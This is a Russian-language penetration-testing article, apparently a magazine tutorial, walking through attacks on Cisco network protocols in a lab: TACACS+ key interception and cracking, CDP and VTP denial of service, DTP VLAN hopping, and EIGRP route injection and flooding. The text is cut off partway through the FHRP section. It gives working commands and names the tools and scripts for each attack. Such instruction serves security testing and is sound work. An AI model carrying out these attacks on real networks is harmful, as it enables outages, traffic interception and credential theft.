Вы находитесь на странице: 1из 4

ВЗЛОМ ХАРДКОР

Cisco Nightmare. Большой гайд по


пентесту сетей Cisco
in9uz ,
4 недели назад

Комментарии

7,929

Содержание статьи
Партнер
01. Перехват и дешифровка ключа TACACS+
01.1 Шаг 1: MITM-атака
01.2 Шаг 2: Loki
02. Атаки на протокол CDP
02.1 Сбор информации
02.2 DoS-атака CDP Flooding
03. Злоупотребление динамическим транкингом
04. Сетевой паралич при атаке на VTP
04.1 Какие бывают роли в VTP-домене
04.2 Типы объявлений
05. Атаки на протокол EIGRP
05.1 Разведка в сети
05.2 Поддельные соседи EIGRP
05.3 Черная дыра
05.4 Злоупотребление K-значениями
05.5 Переполнение таблиц маршрутизации
06. MITM-атака через абьюз проприетарных FHRP-протоколов Cisco
06.1 Зачем нужен FHRP
06.2 Угон GLBP и перехват трафика
06.3 Угон HSRP и перехват трафика
07. ЭксплуатацияCisco Smart Install
08. Эксфильтрация конфигурации и перечисление через SNMP
08.1 cisco_config_tftp
08.2 snmp_enum
09. Постэксплуатация взломанного устройства
09.1 Bruteforce hashes
09.2 Cisco EEM
09.3 Lateral VLAN Segmentation Bypass
09.4 Configuration Enumeration
10. Выводы

За всю свою карь­еру сетево­го инже­нера я повидал немало сетей, где исполь-­
зовалось обо­рудо­вание Cisco. И  в боль­шинс­тве слу­чаев это  обо­рудо­вание
работа­ло с  кон­фигура­цией по  умол­чанию, что ста­вит локаль­ную сеть
под боль­шой удар со сто­роны потен­циаль­ного наруши­теля. Из этой статьи ты
узна­ешь, какой кош­мар может воз­никнуть в сетях Cisco, если к их нас­трой­ке
отнеслись халат­но.

WARNING
Статья име­ет озна­коми­тель­ный харак­тер и пред­наз­на­чена
для спе­циалис­тов по безопас­нос­ти, про­водя­щих тес­тирова­ние
в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­нос­ти
за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной
информа­ции. Рас­прос­тра­нение вре­донос­ных прог­рамм,
наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­‐
леду­ются по закону.

ПЕРЕХВАТ И ДЕШИФРОВКА КЛЮЧА TACACS+


TACACS+ (Terminal Access Controller Access Control System)  — про­токол, пред­назна­чен­ный
для  цен­тра­лизо­ван­ного опе­риро­вания учет­ными запися­ми, которые исполь­зуют­ся непос-­
редс­твен­но для  адми­нис­три­рова­ния сетево­го обо­рудо­вания. Сер­вер TACACS+ реша­ет, поз-­
волить или  зап­ретить дос­туп поль­зовате­лю, который пыта­ется вой­ти в  панель управле­ния
сетевым обо­рудо­вани­ем.

У это­го про­токо­ла есть две вер­сии: TACACS и  TACACS+. Мы будем раз­бирать­ся имен­но
с TACACS+.

«Плю­совая» вер­сия отли­чает­ся повышен­ным уров­нем безопас­ности и  интегри­рован­ным


шиф­ровани­ем. Так­же раз­делены фун­кции AAA (аутен­тифика­ция, авто­риза­ция и  учет), и  их
мож­но исполь­зовать по отдель­нос­ти.

Ес­ли зло­умыш­ленник суме­ет встать посере­дине меж­ду кли­ентом и  сер­вером TACACS, он


смо­жет перех­ватить ключ для  аутен­тифика­ции в  зашиф­рован­ном виде, а  потом про­вес­ти
про­тив него локаль­ный брут­форс. То есть ты и  брут­форсишь ключ, и  в логах не  палишь­ся.
И  если тебе удас­тся сбру­тить ключ, то ты смо­жешь получить дос­туп к  сетево­му обо­рудо-­
ванию и рас­шифро­вать тра­фик в Wireshark. Да, Wireshark уме­ет работать с дву­мя вер­сиями
про­токо­ла TACACS. Пре­дос­тавив «Аку­ле» ключ, ты смо­жешь дешиф­ровать осталь­ную часть
дан­ных, в которой хра­нит­ся логин поль­зовате­ля.

Шаг 1: MITM-атака
Спер­ва нуж­но про­вес­ти MITM-ата­ку, тут все зависит от обсто­ятель­ств и тво­их пред­почте­ний.
Для при­мера я реали­зую ARP-спу­финг в отно­шении TACACS-аген­та и TACACS-сер­вера.

• В качес­тве аген­та TACACS выс­тупит ком­мутатор SW1 с IP-адре­сом 10.10.100.10.


• В качес­тве сер­вера TACACS выс­тупит TACACSGUI с адре­сом 10.10.100.70.

ARP-спу­финг я реали­зую через ути­литу Ettercap. Для  начала необ­ходимо перек­лючить


интерфейс в нераз­борчи­вый режим и раз­решить мар­шру­тиза­цию:

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc

necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1

За­пус­каем Ettercap:

necreas1ng@Inguz:~$ sudo ettercap -G

Ettercap

В качес­тве прос­лушива­юще­го интерфей­са выс­тупит eth0. Запус­тим ска­ниро­вание хос­тов.

Ска­ниро­вание хос­тов

Target 1 будет хост с IP-адре­сом 10.10.100.10, а Target 2 — 10.10.100.70.

Про­водим ARP-спу­финг про­тив двух целей.

На­чало ARP-спу­фин­га

Шаг 2: Loki
Те­перь необ­ходимо запус­тить Loki. Это  спе­циаль­ный инс­тру­мент, соз­данный для  ана­лиза
безопас­ности про­токо­лов L2/L3. По  воз­можнос­тям он не  хуже той же популяр­ной Yersinia
и  сос­тавля­ет ей серь­езную кон­курен­цию. Loki так­же уме­ет брут­форсить клю­чи TACACS.
В слу­чае успе­ха брут­форса клю­ча в зашиф­рован­ном виде (обыч­но он зашиф­рован в фор­мате
MD5) мы смо­жем получить дос­туп к  обо­рудо­ванию и  рас­шифро­вать зашиф­рован­ный
TACACS-тра­фик.

За­пус­каем Loki:

necreas1ng@Inguz:~$ sudo loki_gtk.py

Вы­бира­ем интерфейс для ата­ки.

Loki. Выбор интерфей­са

Так­же нуж­но ука­зать путь до  сло­варя, что­бы про­вес­ти брут­форс зашиф­рован­ного клю­ча.
Обя­затель­но сни­май галоч­ку с опции Use Bruteforce, ина­че Loki будет ломать пароль пол­ным
перебо­ром, не задей­ство­вав сам сло­варь.

Нас­трой­ка пути до сло­варя

Те­перь нуж­но ждать, пока легитим­ный адми­нис­тра­тор вой­дет на  устрой­ство через сер­вер
TACACS. Пред­полага­ется, что сетевой адми­нис­тра­тор уже зашел, а  мы, встав посере­дине
через ARP-спу­финг, перех­ватыва­ем тра­фик. И при этом легитим­ные хос­ты не понима­ют, что
в их соеди­нение вме­шал­ся кто‑то пос­торон­ний.

Ло­ки обна­ружил соеди­нение TACACS

Те­перь нажима­ем на кноп­ку CRACK и ждем, пока Loki ломанет пароль.

Ло­ки взло­мал ключ TACACS. Пароль: secret1234

От­лично, нам уда­лось сбру­тить ключ, теперь нуж­но рас­шифро­вать TACACS-тра­фик. Как  я
и ска­зал, Wireshark уме­ет работать с зашиф­рован­ным тра­фиком TACACS при наличии клю­ча.

Скар­мли­ваем «Аку­ле» ключ

Ви­дим, какой бан­нер исполь­зовал­ся.

Ис­поль­зовав­ший­ся бан­нер

Об­наружи­ваем логин поль­зовате­ля admin.

В ито­ге у нас есть кре­ды admin:secret1234, с которы­ми мож­но зай­ти на само обо­рудо­вание.
Пожалуй, про­верю их на валид­ность.

Ус­пешная аутен­тифика­ция на обо­рудо­вании SW1

Вот таким обра­зом мож­но ата­ковать TACACS+ и  получать дос­туп к  панели управле­ния
сетевым обо­рудо­вани­ем.

АТАКИ НА ПРОТОКОЛ CDP


CDP (Cisco Discovery Protocol) — раз­работ­ка инже­неров Cisco Systems, про­токол каналь­ного
уров­ня, соз­данный для  того, что­бы устрой­ства мог­ли обме­нивать­ся информа­цией. CDP
может помочь сетево­му адми­нис­тра­тору и  облегчить про­цесс траб­лшу­тин­га, но  для зло-­
умыш­ленни­ка... Сей­час выяс­ним.

Сбор информации
По умол­чанию CDP выпол­няет рас­сылку объ­явле­ний на  все свои пор­ты. Но  что, если зло-­
умыш­ленник под­клю­чит­ся в  порт того же ком­мутато­ра? Вос­поль­зовав­шись сетевым сниф-­
фером, будь то Wireshark или  tcpdump, он смо­жет извлечь цен­ную информа­цию о  самом
устрой­стве — начиная его моделью и закан­чивая вер­сией Cisco IOS. Вос­поль­зовав­шись этой
информа­цией, он смо­жет про­вес­ти перечис­ление той же вер­сии Cisco IOS и най­ти по ней уяз-­
вимость, а затем про­экс­плу­ати­ровать ее.

Дамп CDP-тра­фика

DoS-атака CDP Flooding


Ес­ли зло­умыш­ленник спро­воци­рует рас­сылку огромно­го количес­тва CDP-объ­явле­ний, то
сам флу­динг вызовет перег­рузку ком­мутато­ра и нарушит работу сети. Так­же будет перепол-­
нять­ся таб­лица соседей CDP. Про­водить эту ата­ку прос­то, поэто­му не буду вда­вать­ся в под-­
робнос­ти.

На этот раз мы вос­поль­зуем­ся Yersinia:

necreas1ng@Inguz:~$ sudo yersinia -G

Инс­тру­мент обна­ружил ком­мутатор SW1

Выс­тавля­ем опцию flooding CDP table и начина­ем ата­ку. Цен­траль­ный про­цес­сор ком­мутато-­
ра будет перег­ружен, как  и таб­лица CDP-соседей, вследс­твие чего воз­ника­ет «сетевой
паралич».

На­чало ата­ки

Пе­рег­ружен­ный цен­траль­ный про­цес­сор ком­мутато­ра

Пе­репол­няющаяся таб­лица CDP-соседей

ЗЛОУПОТРЕБЛЕНИЕ ДИНАМИЧЕСКИМ ТРАНКИНГОМ


DTP (Dynamic Trunking Protocol)  — про­токол каналь­ного уров­ня, приз­ванный орга­низо­вать
авто­мати­чес­кую сис­тему тран­кинга. Бла­года­ря DTP ком­мутато­ры сами реша­ют, какой порт
будет работать в режиме магис­траль­ного канала (Trunk), а какой нет. На мой взгляд, исполь-­
зование DTP говорит о некачес­твен­ном дизай­не сети. Тран­ки дол­жны быть стро­го там, где
они нуж­ны, и это дол­жно быть задоку­мен­тирова­но. Осо­бен­но смеш­но, ког­да сетевой инже-­
нер сам не зна­ет, какой порт у него в тран­ке, а какой в режиме дос­тупа.

По умол­чанию пор­ты ком­мутато­ра работа­ют в режиме Dynamic Auto. Это говорит о том, что
ком­мутаци­онный порт находит­ся в  режиме ини­циации тран­ка со  сто­роны сосед­него ком-­
мутато­ра. Пен­тесте­ру нуж­но физичес­ки под­клю­чить­ся к ком­мутато­ру и отпра­вить кадр DTP
Desirable, который триг­герит перек­лючение пор­та в  режим тран­ка. Далее зло­умыш­ленник
смо­жет про­вес­ти перечис­ление сетей VLAN с  помощью ана­лиза кад­ров STP и  обой­ти сег-­
мента­цию сети VLAN — соз­дав вир­туаль­ные интерфей­сы.

INFO
Под­робнее об ата­ке про­токо­ла DTP ты смо­жешь узнать из дру­‐
гой моей статьи.

Для ата­ки понадо­бит­ся скрипт, который будет генери­ровать кадр DTP Desirable. Для это­го я
написал неболь­шую прог­рамму DTPHijacking.py. Ее исходный код открыт, можешь изу­чить
его.

Инс­тру­мент DTPHijacking.py

necreas1ng@Inguz:~$ sudo python3 DTPHijacking.py --interface eth0

Стро­ение DTP-инъ­екции

Хо­чу отме­тить, что Access/Desirable (0x03) ука­зыва­ет на  то, что DTP-кадр име­ет тип
Desirable, который велит пор­ту перек­лючить­ся в режим Trunk. А  802.1Q/802.1Q (0xa5) ука-­
зыва­ет на тип инкапсу­ляции 802.1Q.

INFO
Ни в коем слу­чае не пре­рывай работу скрип­та. Он инжектит DTP
Desirable каж­дые три секун­ды. Соз­данные динами­чес­ки магис­‐
траль­ные каналы на ком­мутато­ре живут все­го пять минут. Через
пять минут транк отва­лива­ется.

Про­ана­лизи­ровав STP-кад­ры, мы узна­ем о сущес­тво­вании сетей VLAN 30 и 60.

Ана­лиз STP-кад­ров

С дан­ной информа­цией и  наличи­ем транк‑пор­та мы можем получить дос­туп к  этим сетям


VLAN, при  этом обой­дя VLAN-сег­мента­цию. Необ­ходимо будет соз­дать вир­туаль­ные
интерфей­сы и наз­начить на них IP-адрес.

necreas1ng@Inguz:~$ sudo vconfig add eth0 30

necreas1ng@Inguz:~$ sudo vconfig add eth0 60

necreas1ng@Inguz:~$ sudo ifconfig eth0.30 up

necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up

necreas1ng@Inguz:~$ sudo dhclient -v eth0.30

necreas1ng@Inguz:~$ sudo dhclient -v eth0.60

По­лучен­ные адре­са по DHCP для вир­туаль­ных интерфей­сов

Ус­пешные ICMP-зап­росы в сто­рону шлю­зов сетей VLAN 30 и 60

Та­ким обра­зом, мож­но обой­ти VLAN-сег­мента­цию и получить дос­туп к VLAN-сетям.

СЕТЕВОЙ ПАРАЛИЧ ПРИ АТАКЕ НА VTP


VTP (VLAN Trunking Protocol)  — про­токол, соз­данный для  цен­тра­лизо­ван­ного управле­ния
сетями VLAN. Что­бы отсле­живать акту­аль­ную базу дан­ных VLAN, ком­мутато­ры про­веря­ют
спе­циаль­ные номера ревизии. Ког­да про­исхо­дит любое обновле­ние таб­лицы, номер ревизии
повыша­ется на  еди­ницу. И  если ком­мутатор обна­ружит кон­фигура­цию, у  которой номер
ревизии выше, он авто­мати­чес­ки обно­вит свою базу дан­ных VLAN.

Какие бывают роли в VTP-домене


• VTP Server. Ком­мутатор в  роли VTP Server может соз­давать новые VLAN, уда­лять
ста­рые или  менять информа­цию в  самих VLAN. Так­же он занима­ется генери­рова-­
нием объ­явле­ний VTP для осталь­ных чле­нов домена.
• VTP Client. Ком­мутатор в этой роли будет получать спе­циаль­ные анон­сы VTP от дру-­
гих ком­мутато­ров в  домене, что­бы обновлять базы дан­ных VLAN у  себя. Кли­енты
огра­ниче­ны в  воз­можнос­тях соз­давать VLAN и  даже не  име­ют пра­ва локаль­но
изме­нять кон­фигура­цию VLAN. Ина­че говоря, дос­туп read only.
• VTP Transparent. В этом режиме ком­мутатор не учас­тву­ет в про­цес­сах VTP и может
вес­ти у  себя пол­ное и  локаль­ное адми­нис­три­рова­ние всей кон­фигура­ции VLAN.
Работая в  проз­рачном режиме, ком­мутато­ры занима­ются толь­ко переда­чей объ-­
явле­ний VTP от  дру­гих ком­мутато­ров, не  зат­рагивая свою кон­фигура­цию сетей
VLAN. У таких ком­мутато­ров номер ревизии всег­да будет равен нулю, и про­тив них
ата­ку про­вес­ти не получит­ся.

Типы объявлений
• Summary Advertisement. Объ­явле­ние VTP, которое сер­вер VTP отправ­ляет каж-­
дые 300 секунд (5 минут). В этом объ­явле­нии хра­нит­ся имя домена VTP, вер­сия про-­
токо­ла, отметка вре­мени и зна­чение MD5-хеша кон­фигура­ции.
• Subset Advertisement. Это объ­явле­ние VTP, которое отправ­ляет­ся при каж­дом изме-­
нении кон­фигура­ции VLAN.
• Advertisement Request  — зап­рос от  кли­ента VTP к  сер­веру VTP на  сооб­щение
Summary Advertisement. Обыч­но рас­сыла­ется в ответ на сооб­щение о том, что ком-­
мутатор обна­ружил Summary Advertisement с  бóльшим номером ревизии кон-­
фигура­ции.

Ата­ку на  про­токол VTP мож­но про­вес­ти толь­ко с  тран­кового пор­та, пос­коль­ку объ­явле­ния
VTP тран­сли­руют­ся и при­нима­ются толь­ко на тран­ковых пор­тах. Поэто­му при пен­тесте пос-­
ле ата­ки на  DTP тво­ей сле­дующей целью может быть VTP. Для  ата­ки на  домен VTP я буду
исполь­зовать Yersinia. С ее помощью я про­веду VTP-инжект, который сти­рает всю базу дан-­
ных VLAN и тем самым парали­зует сеть.

INFO
У про­токо­ла VTP есть целых три вер­сии. В этой статье я про­веду
ата­ку про­тив пер­вой вер­сии — VTPv1.

Для сти­рания всей базы дан­ных VLAN выбира­ем опцию deleting all VTP vlans.
На­чало ата­ки на домен VTP

Ба­за дан­ных VLAN перед ата­кой

Ба­за дан­ных VLAN пос­ле ата­ки

Се­тевой паралич

Хост из сети VLAN 60 утра­тил связ­ность до шлю­за.

АТАКИ НА ПРОТОКОЛ EIGRP


EIGRP (Enhanced Interior Gateway Routing Protocol) — про­токол динами­чес­кой мар­шру­тиза­ции.
Явля­ется дис­танци­онно‑век­торным про­токо­лом. При  отсутс­твии аутен­тифика­ции и  кон-­
фигура­ции пас­сивных интерфей­сов зло­умыш­ленник может вме­шать­ся в про­цесс EIGRP-мар-­
шру­тиза­ции и  выз­вать отравле­ние таб­лиц мар­шру­тиза­ции. Более того, сеть EIGRP (ина­че
говоря, авто­ном­ная сис­тема) «плос­кая», и  у нее отсутс­тву­ет сег­мента­ция на  какие‑либо
зоны. Что это может зна­чить для ата­кующе­го? Ну, если он про­ведет инъ­екцию мар­шру­та, то,
ско­рее все­го, этот мар­шрут рас­простра­нит­ся по всей авто­ном­ной сис­теме EIGRP.

В пер­вую оче­редь для ата­ки на авто­ном­ную сис­тему EIGRP необ­ходимо уста­новить соседс-­


тво с  легитим­ным мар­шру­тиза­тором EIGRP, что откры­вает боль­шие воз­можнос­ти, начиная
от базовой раз­ведки и закан­чивая раз­ными инъ­екци­ями.

Как уста­нав­лива­ется соседс­тво меж­ду EIGRP-мар­шру­тиза­тора­ми

INFO
Не забывай, что без пред­варитель­ной уста­нов­ки соседс­тва
легитим­ные EIGRP-мар­шру­тиза­торы не будут реаги­ровать
на рас­сыла­емые тобой сооб­щения EIGRP (будь то Hello,
Update или дру­гие).

Для это­го я вос­поль­зуюсь FRRouting. Это опен­сор­сное ПО, которое пред­назна­чено для соз-­


дания мар­шру­тиза­тора в  Unix и  Linux. FRRouting поз­воля­ет реали­зовать вир­туаль­ный мар-­
шру­тиза­тор, под­держи­вающий про­токо­лы BGP, OSPF, EIGRP, RIP и дру­гие. Его дос­таточ­но раз-­
вернуть на сво­ей ата­кующей сис­теме, и фак­тичес­ки ты смо­жешь прит­ворить­ся легитим­ным
роуте­ром в  домене мар­шру­тиза­ции. Как  раз­вернуть FRR на  сво­ей сис­теме, я покажу в  сле-­
дующем раз­деле.

INFO
Для про­веде­ния атак на домены мар­шру­тиза­ции EIGRP я раз­‐
работал нес­коль­ко инс­тру­мен­тов и помес­тил их в свой репози­‐
торий EIGRPWN на GitHub. Там ты най­дешь все инс­тру­мен­ты,
которые я исполь­зовал для ата­ки на EIGRP в этой статье.

Разведка в сети
Под­клю­чение к  домену мар­шру­тиза­ции поз­воля­ет нам про­вес­ти перечис­ление и  раз­ведку
сетей и не тра­тить мно­го вре­мени на ска­ниро­вание. Это спо­соб зна­читель­но эко­номит твое
дра­гоцен­ное вре­мя. К  тому же при  ска­ниро­вании ты можешь спа­лить­ся перед  сис­темами
безопас­ности IPS/IDS. Как  по мне, под­клю­чение к  домену и  перечис­ление  — век­тор ата­ки
на домены мар­шру­тиза­ции, который дарит тебе наиболь­ший импакт.

Но для это­го все­го нуж­но раз­вернуть FRRouting. Прис­тупим.

Не­обхо­димо отре­дак­тировать кон­фигура­цион­ный файл daemons. В  нем про­писа­ны кон-­


фигура­ции демонов в  кон­тек­сте их активнос­ти. Либо они под­клю­чены (yes), либо нет (no).
Нам нуж­но акти­виро­вать работу демона eigrpd.

root@Inguz:~# nano /etc/frr/daemons

eigrpd=yes

Ак­тивация демона eigrpd

Пос­ле это­го нуж­но поп­равить файл vtysh.conf, добавив в него строч­ку, отве­чающую за сох-­
ранение кон­фигура­ции в один файл, что­бы кон­фигура­ции раз­ных про­токо­лов не рас­кидыва-­
ло в раз­ные фай­лы (нап­ример, eigrpd.conf, staticd.conf). Нас­тра­ивает­ся опци­ональ­но.

root@Inguz:~# nano /etc/frr/vtysh.conf

service integrated-vtysh-config

С кон­фигура­цией FRRouting закон­чили. Теперь самое вре­мя запус­тить демон FRR. И  не


забыва­ем о раз­решении мар­шру­тиза­ции тра­фика.

necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1

necreas1ng@Inguz:~$ systemctl start frr

Сос­тояние демона FRRouting

Подключение к домену маршрутизации EIGRP


С помощью коман­ды vtysh мы попадем в панель управле­ния мар­шру­тиза­тором FRR.

necreas1ng@Inguz:~$ sudo vtysh

Inguz# show version

Па­нель управле­ния FRR

Пе­ред кон­фигура­цией EIGRP на  мар­шру­тиза­торе нуж­но узнать номер авто­ном­ной сис­темы
и понять, есть ли аутен­тифика­ция.

Дамп тра­фика EIGRP

Как мы видим, номер авто­ном­ной сис­темы EIGRP  — 1. Аутен­тифика­ция отсутс­тву­ет. С  этой


информа­цией мы без тру­да смо­жем под­клю­чить­ся к домену мар­шру­тиза­ции EIGRP.

INFO
Не забывай, что домен мар­шру­тиза­ции EIGRP может быть
защищен аутен­тифика­цией. Но у тебя все еще есть шанс под­‐
клю­чить­ся к домену мар­шру­тиза­ции. Во вре­мя рас­сылки
пакетов при­ветс­твия в них так­же находят­ся крип­тогра­фичес­кие
хеши. Если ты суме­ешь извлечь эти хеши из дам­па тра­фика
и сбру­тить пароль, ты смо­жешь вой­ти с этим паролем в домен
мар­шру­тиза­ции.

Пе­рехо­дим в режим гло­баль­ной кон­фигура­ции и запус­каем про­цесс EIGRP, ука­зыва­ем номер


авто­ном­ной сис­темы — 1.

Inguz# conf t

Inguz(config)# router eigrp 1


Inguz(config-router)# network 10.10.100.50/32

Пос­ле это­го уста­нав­лива­ется соседс­тво меж­ду легитим­ными EIGRP-мар­шру­тиза­тора­ми.


В моей сети их два:

• мар­шру­тиза­тор GW1 по адре­су 10.10.100.100;


• мар­шру­тиза­тор GW2 по адре­су 10.10.100.200.

Ус­танов­ление соседс­тва с мар­шру­тиза­тором GW1

Ус­танов­ление соседс­тва с мар­шру­тиза­тором GW2

Во вре­мя уста­нов­ления и под­держа­ния соседс­тва меж­ду EIGRP-мар­шру­тиза­тора­ми роуте­ры


обме­нива­ются сво­ей мар­шрут­ной информа­цией. Пос­ле уста­нов­ления соседс­тва в  нашей
таб­лице мар­шру­тиза­ции ата­кующей сис­темы появят­ся новые мар­шру­ты, а имен­но:

• 10.1.239.0/24 via 10.10.100.100;


• 30.30.30.0/24 via 10.10.100.100;
• 100.100.100.0/24 via 10.10.100.100;
• 172.16.100.0/24 via 10.10.100.200.

Таб­лица мар­шру­тиза­ции ата­кующей сис­темы пос­ле под­клю­чения к домену EIGRP

Та­ким обра­зом, пос­ле уста­нов­ления соседс­тва мы узна­ли о  сущес­тво­вании этих под­сетей,


что облегча­ет нам задачу в  пен­тесте и  поз­воля­ет сэконо­мить вре­мя. Мы можем обой­тись
без  допол­нитель­ного ска­ниро­вания под­сетей. Теперь мы в  домене мар­шру­тиза­ции EIGRP
и можем раз­вивать некото­рые век­торы атак. О них и погово­рим даль­ше.

Поддельные соседи EIGRP


Я выяс­нил, что генера­ция и  быс­трая рас­сылка мас­совых пакетов при­ветс­твия про­токо­ла
EIGRP при­водит к  перег­рузке цен­траль­ного про­цес­сора мар­шру­тиза­тора, что, в  свою оче-­
редь, может открыть воз­можность для  DoS-ата­ки. Я раз­работал неболь­шой скрипт
helloflooding.py, но  мне кажет­ся, что скрип­ту не  хва­тает ско­рос­ти рас­сылки пакетов. Все­му
виной — GIL, который меша­ет запус­тить фун­кцию sprayhello в нес­коль­ко потоков в секун­ду.
Со вре­менем я перепи­шу скрипт на C.

Инс­тру­мент helloflooding.py

Ар­гумен­ты скрип­та:

• ин­терфейс ата­кующей сис­темы;


• но­мер авто­ном­ной сис­темы EIGRP;
• под­сеть, в  которой находит­ся ата­кующая сис­тема. В  моем слу­чае под­сеть 10.10.
100.0/24.

necreas1ng@Inguz:~/EIGRPWN$ sudo python3 helloflooding.py --interface eth0 --asn

Пе­рег­рузка цен­траль­ного про­цес­сора во вре­мя флу­дин­га

Как вид­но из скрин­шота выше, наг­рузка на цен­траль­ный про­цес­сор воз­росла до 98%.

Черная дыра
Суть этой ата­ки зак­люча­ется в прос­той инъ­екции лож­ного мар­шру­та, который отра­вит таб-­
лицу мар­шру­тиза­ции. Тра­фик, допус­тим, сети 10.10.100.0/24 будет лететь в  никуда,
вызывая отказ в  обслу­жива­нии. Такую ата­ку называ­ют Blackhole («чер­ная дыра»). В  качес-­
тве инс­тру­мен­та для ее про­веде­ния выс­тупит скрипт routeinject.py.

Инс­тру­мент routeinject.py

Ар­гумен­ты:

• ин­терфейс ата­кующей сис­темы;


• но­мер авто­ном­ной сис­темы EIGRP;
• IP-адрес ата­кующе­го;
• IP-адрес целевой под­сети, тра­фик в которую будет отправ­лен в «чер­ную дыру»;
• мас­ка целевой под­сети.

В рам­ках это­го при­мера я отправ­лю в  «чер­ную дыру» тра­фик, пред­назна­чен­ный для  хос­та
172.16.100.140/32.

necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routeinject.py --interface eth0 --asn 1

Стро­ение вре­донос­ной инъ­екции мар­шру­та

По­пыт­ки легитим­ного хос­та пин­гануть целевой сер­вер

Как мы видим, хост теря­ет связ­ность до хос­та 172.16.100.140/32 из‑за инъ­екции мар­шру­та.

От­равлен­ный роут в таб­лице мар­шру­тиза­ции GW1

Злоупотребление K-значениями
Что­бы уста­новить соседс­тво EIGRP, мар­шру­тиза­торы исполь­зуют спе­циаль­ные K-зна­чения.
Они дол­жны быть оди­нако­выми сре­ди всех EIGRP-соседей. Если хотя бы одно из K-зна­чений
не  будет сов­падать, воз­никнет ава­рия в  домене EIGRP и  соседс­тво будет разор­вано.
Для про­веде­ния этой ата­ки нам пос­лужит инс­тру­мент relationshipnightmare.py.

Инс­тру­мент relationshipnightmare.py

Для работы скрип­та необ­ходимо ука­зать:

• ин­терфейс ата­кующей сис­темы;


• но­мер авто­ном­ной сис­темы EIGRP;
• IP-адрес легитим­ного мар­шру­тиза­тора.

От име­ни ука­зан­ного IP и  будет отправ­лен инжект на  муль­тикас­товый IP-адрес EIGRP,


в котором K-зна­чения отли­чают­ся. В моем слу­чае я буду раз­рывать соседс­тво от име­ни мар-­
шру­тиза­тора GW1 (его адрес — 10.10.100.100).

На­чина­ем ата­ку.

necreas1ng@Inguz:~/EIGRPWN$ sudo python3 relationshipnightmare.py --interface eth

Дамп трафика во время разрыва соседства


Дамп тра­фика во вре­мя раз­рыва соседс­тва

Мар­шру­тиза­тор GW1 бес­конеч­но раз­рыва­ет и вос­ста­нав­лива­ет связь

Та­ким обра­зом мож­но про­вес­ти DoS-ата­ку. Во вре­мя экс­плу­ата­ции воз­ника­ют бес­конеч­ные


раз­рывы и попыт­ки уста­новить соседс­тво, что парали­зует работу час­ти домена мар­шру­тиза-­
ции EIGRP.

Переполнение таблиц маршрутизации


Суть этой ата­ки зак­люча­ется в том, что­бы спро­воци­ровать отправ­ку огромно­го количес­тва
лож­ных мар­шру­тов, которые будут перепол­нять таб­лицу мар­шру­тиза­ции. Это  исто­щает
вычис­литель­ные ресур­сы мар­шру­тиза­тора, а имен­но про­цес­сора и опе­ратив­ной памяти, пос-­
коль­ку инжекты про­исхо­дят на  огромной ско­рос­ти. Реали­зова­на эта ата­ка в  скрип­те
routingtableoverflow.py.

Ар­гумен­ты:

• ин­терфейс ата­кующей сис­темы;


• но­мер авто­ном­ной сис­темы EIGRP;
• IP-адрес ата­кующе­го.

Инс­тру­мент routingtableoverflow.py

На­чина­ем ата­ку.

necreas1ng@Inguz:~/EIGRPWN$ sudo python3 routingtableoverflow.py --interface eth0

Таб­лица мар­шру­тиза­ции начина­ет перепол­нять­ся мар­шру­тами. Ран­домные адре­са целевых


сетей обус­ловле­ны исполь­зовани­ем RandIP() в Scapy.

Пе­репол­няющаяся таб­лица мар­шру­тиза­ции на роуте­ре GW1

Цен­траль­ный про­цес­сор мар­шру­тиза­тора наг­ружен до 96%.

Пе­рег­ружен­ный CPU мар­шру­тиза­тора

MITM-АТАКА ЧЕРЕЗ АБЬЮЗ ПРОПРИЕТАРНЫХ FHRP-ПРОТОКОЛОВ


CISCO
 

Зачем нужен FHRP


FHRP (First Hop Redundancy Protocol) — класс сетевых про­токо­лов, пред­назна­чен­ных для соз-­
дания сис­темы горяче­го резер­вирова­ния мар­шру­тиза­ции. С  помощью FHRP физичес­кие
мар­шру­тиза­торы могут объ­еди­нять­ся в одно логичес­кое устрой­ство, что повыша­ет отка­зоус-­
той­чивость и помога­ет рас­пре­делять наг­рузку.

Ин­женеры Cisco Systems раз­работа­ли два FHRP-про­токо­ла  — это  GLBP и  HSRP, пен­тест
которых я про­демонс­три­рую даль­ше.

Угон GLBP и перехват трафика


GLBP (Gateway Load Balancing Protocol) — это еще одна раз­работ­ка инже­неров Cisco Systems,
соз­данная для  орга­низа­ции сис­темы горяче­го резер­вирова­ния мар­шру­тиза­торов. Явля­ется
частью клас­са про­токо­лов FHRP. В  отли­чие от  HSRP и  VRRP, пред­лага­ет нас­тоящую балан-­
сиров­ку наг­рузки, а имен­но:

• round-robin (по умол­чанию GLBP исполь­зует имен­но этот вари­ант);


• host-dependent;
• weighted-like.

Роли в GLBP-домене и терминология


AVG (Active Virtual Gateway)  — мар­шру­тиза­тор с  гла­венс­тву­ющей ролью, так­же отве­чает
за раз­дачу MAC-адре­сов осталь­ным мар­шру­тиза­торам в рам­ках одной груп­пы GLBP. Эда­кий
«босс» в  домене GLBP. AVG ука­зыва­ет осталь­ным мар­шру­тиза­торам, как рас­пре­делять тра-­
фик, раз­давая им MAC-адре­са, ког­да при­лета­ет ARP-зап­рос. Сто­ит отме­тить, что в  домене
GLBP AVG-мар­шру­тиза­тор может быть толь­ко один, но он так­же может быть AVF-чле­ном.

AVF (Active Virtual Forwarder)  — мар­шру­тиза­тор в  груп­пе GLBP, занима­ющий­ся обра­бот­кой


тра­фика в сети.

GLBP Priority  — зна­чение при­ори­тета, опре­деля­ющее, какой мар­шру­тиза­тор в  груп­пе GLBP


будет AVG. По  умол­чанию это  зна­чение рав­но  100 (диапа­зон при­ори­тета может быть
от 1 до 255). Может нас­тра­ивать­ся вруч­ную, то есть сетевой инже­нер сам опре­деля­ет, какой
роутер будет «началь­ником», а  какой «под­чинен­ным». Чем выше при­ори­тет, тем боль­ше
веро­ятность, что мар­шру­тиза­тор получит AVG-роль. Обыч­но AVG-роль дает­ся более мощ­ным
мар­шру­тиза­торам.

GLBP Weight — зна­чение так называ­емо­го веса мар­шру­тиза­тора в груп­пе GLBP. GLBP Weight
опре­деля­ет уро­вень наг­рузки на  мар­шру­тиза­тор. Это  зна­чение «пла­вающее» и  может
